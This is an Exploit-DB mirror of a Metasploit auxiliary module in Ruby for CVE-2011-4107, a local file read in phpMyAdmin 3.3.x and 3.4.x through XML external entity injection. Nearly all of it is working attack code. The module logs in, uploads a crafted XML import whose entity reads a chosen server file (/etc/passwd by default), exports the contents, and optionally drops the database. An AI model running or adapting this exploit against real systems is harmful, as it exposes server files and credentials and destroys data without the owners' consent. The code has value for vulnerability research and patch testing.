phpMyAdmin 3.3.x/3.4.x – Local File Inclusion via XML External Entity Injection (Metasploit)

  • 作者: Marco Batista
    日期: 2012-01-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18371/
  • # Exploit Title: poc-phpmyadmin-local-file-inclusion-via-xxe-injection
    # Date: 12-01-2012
    # Author: Marco Batista
    # Blog Link: http://www.secforce.com/blog/2012/01/cve-2011-4107-poc-phpmyadmin-local-file-inclusion-via-xxe-injection/
    # Tested on: Windows and Linux - phpmyadmin versions: 3.3.6, 3.3.10, 3.4.0, 3.4.5, 3.4.7
    # CVE : CVE-2011-4107
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Auxiliary
    
    	include Msf::Exploit::Remote::HttpClient
    
    	def initialize
    		super(
    			'Name'=> 'phpMyAdmin 3.3.X and 3.4.X - Local File Inclusion via XXE Injection',
    			'Version' => '1.0',
    			'Description' => %q{Importing a specially-crafted XML file which contains an XML entity injection permits to retrieve a local file (limited by the privileges of the user running the web server).
    			The attacker must be logged in to MySQL via phpMyAdmin.
    			Works on Windows and Linux Versions 3.3.X and 3.4.X},
    			'References'=>
    				[
    					[ 'CVE', '2011-4107' ],
    [ 'OSVDB', '76798' ],
    [ 'BID', '50497' ],
    [ 'URL', 'http://secforce.com/research/'],
    				],
    			'Author'=> [ 'Marco Batista' ],
    			'License' => MSF_LICENSE
    			)
    
    		register_options(
    			[
    				Opt::RPORT(80),
    				OptString.new('FILE', [ true,"File to read", '/etc/passwd']),
    				OptString.new('USER', [ true,"Username", 'root']),
    				OptString.new('PASS', [ false,"Password", 'password']),
    				OptString.new('DB', [ true,"Database to use/create", 'hddaccess']),
    				OptString.new('TBL', [ true,"Table to use/create and read the file to", 'files']),
    				OptString.new('APP', [ true,"Location for phpMyAdmin URL", '/phpmyadmin']),
    				OptString.new('DROP', [ true,"Drop database after reading file?", 'true']),
    			],self.class)
    	end
    
    	def loginprocess
    		# HTTP GET TO GET SESSION VALUES
    		getresponse = send_request_cgi({
    			'uri' => datastore['APP']+'/index.php',
    			'method'=> 'GET',
    			'version' => '1.1',
    			}, 25)
    
    		if (getresponse.nil?)
    			print_error("no response for #{ip}:#{rport}")
    		elsif (getresponse.code == 200)
    			print_status("Received #{getresponse.code} from #{rhost}:#{rport}")
    		elsif (getresponse and getresponse.code == 302 or getresponse.code == 301)
    			print_status("Received 302 to #{getresponse.headers['Location']}")
    		else
    			print_error("Received #{getresponse.code} from #{rhost}:#{rport}")
    		end
    
    		valuesget = getresponse.headers["Set-Cookie"]
    		varsget = valuesget.split(" ")
    
    		#GETTING THE VARIABLES NEEDED
    		phpMyAdmin = varsget.grep(/phpMyAdmin/).last
    		pma_mcrypt_iv = varsget.grep(/pma_mcrypt_iv/).last
    		# END HTTP GET 
    
    		# LOGIN POST REQUEST TO GET COOKIE VALUE
    		postresponse = send_request_cgi({
    			'uri' => datastore['APP']+'/index.php',
    			'method'=> 'POST',
    			'version' => '1.1',
    			'headers' =>{
    					'Content-Type' => 'application/x-www-form-urlencoded',
    					'Cookie' => "#{pma_mcrypt_iv} #{phpMyAdmin}"
    		},
    			'data'=> 'pma_username='+datastore['USER']+'&pma_password='+datastore['PASS']+'&server=1'
    			}, 25)		
    
    		if (postresponse["Location"].nil?)
    			print_status("TESTING#{postresponse.body.split("'").grep(/token/).first.split("=").last}")
    			tokenvalue = postresponse.body.split("'").grep(/token/).first.split("=").last			
    		else
    			tokenvalue = postresponse["Location"].split("&").grep(/token/).last.split("=").last
    		end
    		
    		
    		valuespost = postresponse.headers["Set-Cookie"]
    		varspost = valuespost.split(" ")
    		
    		#GETTING THE VARIABLES NEEDED
    		pmaUser = varspost.grep(/pmaUser-1/).last
    		pmaPass = varspost.grep(/pmaPass-1/).last
    
    		return "#{pma_mcrypt_iv} #{phpMyAdmin} #{pmaUser} #{pmaPass}",tokenvalue
    		# END OF LOGIN POST REQUEST
    		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, Rex::ConnectionError =>e
    			print_error(e.message)
    		rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNABORTED, Errno::ECONNREFUSED, Errno::EHOSTUNREACH =>e
    			print_error(e.message)
    	end
    
    	def readfile(cookie,tokenvalue)
    		#READFILE TROUGH EXPORT FUNCTION IN PHPMYADMIN
    		getfiles = send_request_cgi({
    			'uri' => datastore['APP']+'/export.php',
    			'method'=> 'POST',
    			'version' => '1.1',
    			'headers' =>{
    					'Cookie' => cookie
    			},
    			'data'=> 'db='+datastore['DB']+'&table='+datastore['TBL']+'&token='+tokenvalue+'&single_table=TRUE&export_type=table&sql_query=SELECT+*+FROM+%60files%60&what=texytext&texytext_structure=something&texytext_data=something&texytext_null=NULL&asfile=sendit&allrows=1&codegen_structure_or_data=data&texytext_structure_or_data=structure_and_data&yaml_structure_or_data=data'
    			}, 25)
    		
    		if (getfiles.body.split("\n").grep(/== Dumping data for table/).empty?)
    			print_error("Error reading the file... not enough privilege? login error?")			
    		else
    			print_status("#{getfiles.body}")
    		end
    	end
    
    
    	def dropdatabase(cookie,tokenvalue)
    		dropdb = send_request_cgi({
    			'uri' => datastore['APP']+'/sql.php?sql_query=DROP+DATABASE+%60'+datastore['DB']+'%60&back=db_operations.php&goto=main.php&purge=1&token='+tokenvalue+'&is_js_confirmed=1&ajax_request=false',
    			'method'=> 'GET',
    			'version' => '1.1',
    			'headers' =>{
    					'Cookie' => cookie
    			},
    			}, 25)
    
    			print_status("Dropping database: "+datastore['DB'])
    	end
    
    	def run
    		cookie,tokenvalue = loginprocess()
    	
    		print_status("Login at #{datastore['RHOST']}:#{datastore['RPORT']}#{datastore['APP']} using #{datastore['USER']}:#{datastore['PASS']}")	
    	
    		craftedXML ="------WebKitFormBoundary3XPL01T\n"
    		craftedXML << "Content-Disposition: form-data; name=\"token\"\n\n"
    		craftedXML << tokenvalue+"\n"
    		craftedXML << "------WebKitFormBoundary3XPL01T\n"
    		craftedXML << "Content-Disposition: form-data; name=\"import_type\"\n\n"
    		craftedXML << "server\n"
    		craftedXML << "------WebKitFormBoundary3XPL01T\n"
    		craftedXML << "Content-Disposition: form-data; name=\"import_file\"; filename=\"exploit.xml\"\n"
    		craftedXML << "Content-Type: text/xml\n\n"
    		craftedXML << "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n"
    		craftedXML << "<!DOCTYPE ficheiro [\n"
    		craftedXML << "<!ENTITY conteudo SYSTEM \"file:///#{datastore['FILE']}\" >]>\n"
    		craftedXML << "<pma_xml_export version=\"1.0\" xmlns:pma=\"http://www.phpmyadmin.net/some_doc_url/\">\n"
    		craftedXML << "<pma:structure_schemas>\n"
    		craftedXML << "<pma:database name=\""+datastore['DB']+"\" collation=\"utf8_general_ci\" charset=\"utf8\">\n"
    		craftedXML << "<pma:table name=\""+datastore['TBL']+"\">\n"
    		craftedXML << "CREATE TABLE `"+datastore['TBL']+"` (`file` varchar(20000) NOT NULL);\n"
    		craftedXML << "</pma:table>\n"
    		craftedXML << "</pma:database>\n"
    		craftedXML << "</pma:structure_schemas>\n"
    		craftedXML << "<database name=\""+datastore['DB']+"\">\n"
    		craftedXML << "<table name=\""+datastore['TBL']+"\">\n"
    		craftedXML << "<column name=\"file\">&conteudo;</column>\n"
    		craftedXML << "</table>\n"
    		craftedXML << "</database>\n"
    		craftedXML << "</pma_xml_export>\n\n"
    		craftedXML << "------WebKitFormBoundary3XPL01T\n"
    		craftedXML << "Content-Disposition: form-data; name=\"format\"\n\n"
    		craftedXML << "xml\n"
    		craftedXML << "------WebKitFormBoundary3XPL01T\n"
    		craftedXML << "Content-Disposition: form-data; name=\"csv_terminated\"\n\n"
    		craftedXML << ",\n\n"
    		craftedXML << "------WebKitFormBoundary3XPL01T--"
    		
    	
    		print_status("Grabbing that #{datastore['FILE']} you want...")
    		res = send_request_cgi({
    			'uri' => datastore['APP']+'/import.php',
    			'method'=> 'POST',
    			'version' => '1.1',
    			'headers' =>{
    					'Content-Type' => 'multipart/form-data; boundary=----WebKitFormBoundary3XPL01T',
    					'Cookie' => cookie
    			},
    			'data'=> craftedXML
    		}, 25)
    
    		readfile(cookie,tokenvalue)
    
    		if (datastore['DROP'] == "true")
    			dropdatabase(cookie,tokenvalue)
    		else
    			print_status("Database was not dropped: "+datastore['DB'])			
    		end
    
    	end
    end